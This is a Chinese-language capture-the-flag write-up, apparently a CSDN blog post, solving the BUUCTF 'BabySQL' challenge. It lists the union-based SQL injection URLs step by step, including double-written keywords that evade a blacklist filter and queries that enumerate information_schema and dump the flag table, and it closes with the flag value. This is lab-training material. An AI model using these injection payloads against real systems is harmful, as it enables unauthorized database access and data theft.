BUUCTF Web [极客大挑战 2019]BabySQL

[极客大挑战 2019]BabySQL

启动靶机,发现是一个登录框,输入万能密码,不成功。输入order by,select,union等语句,发现被过滤了,尝试双写绕过

判断列数:

/check.php?username=' oorrder bbyy 4%23&password=123456

 order by 为4时报错,说明只有三列

寻找显示位:

/check.php?username=' uniunionon seleselectct 1,2,3%23&password=123456

既然2,3为显示位,那我们就爆库,爆表,爆列

爆库:

/check.php?username=' uniunionon seleselectct 1,2,group_concat(schema_name) from information_schema.schemata%23&password=123456

 标蓝所示有报错,感觉可能有字段被过滤了,尝试from双写

/check.php?username=' uniunionon seleselectct 1,2,group_concat(schema_name) frofromm information_schema.schemata%23&password=123456

 from双写后,提示infmation_schema.schemata这个表有问题,这个表和我们注入的表正好差了个or,看来是过滤了or,尝试双写

/check.php?username=' uniunionon seleselectct 1,2,group_concat(schema_name) frofromm infoorrmation_schema.schemata%23&password=123456

 感觉flag在ctf表中

爆表:

/check.php?username=' uniunionon seleselectct 1,2,group_concat(table_name) frofromm inforormation_schema.tables where table_schema='ctf'%23&password=123456

 再次报错,table_schema在爆库的时候用过,应该没问题,所以过滤了where,那我们双写where

/check.php?username=' uniunionon seleselectct 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='ctf'%23&password=123456

 爆列

/check.php?username=' uniunionon seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema='Flag'%23&password=123456

依旧是报错(懒得截图了)

尝试双写

/check.php?username=' uniunionon seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema='ctf' anandd table_name='Flag'%23&password=123456

构造最终的查询语句

/check.php?username=' uniunionon seleselectct 1,2,group_concat(flag) frfromom ctf.Flag%23&password=123456

 

拿到flag                flag{04d50969-863a-4153-ae84-f755df0c8b20} 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

WmVicmE=

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值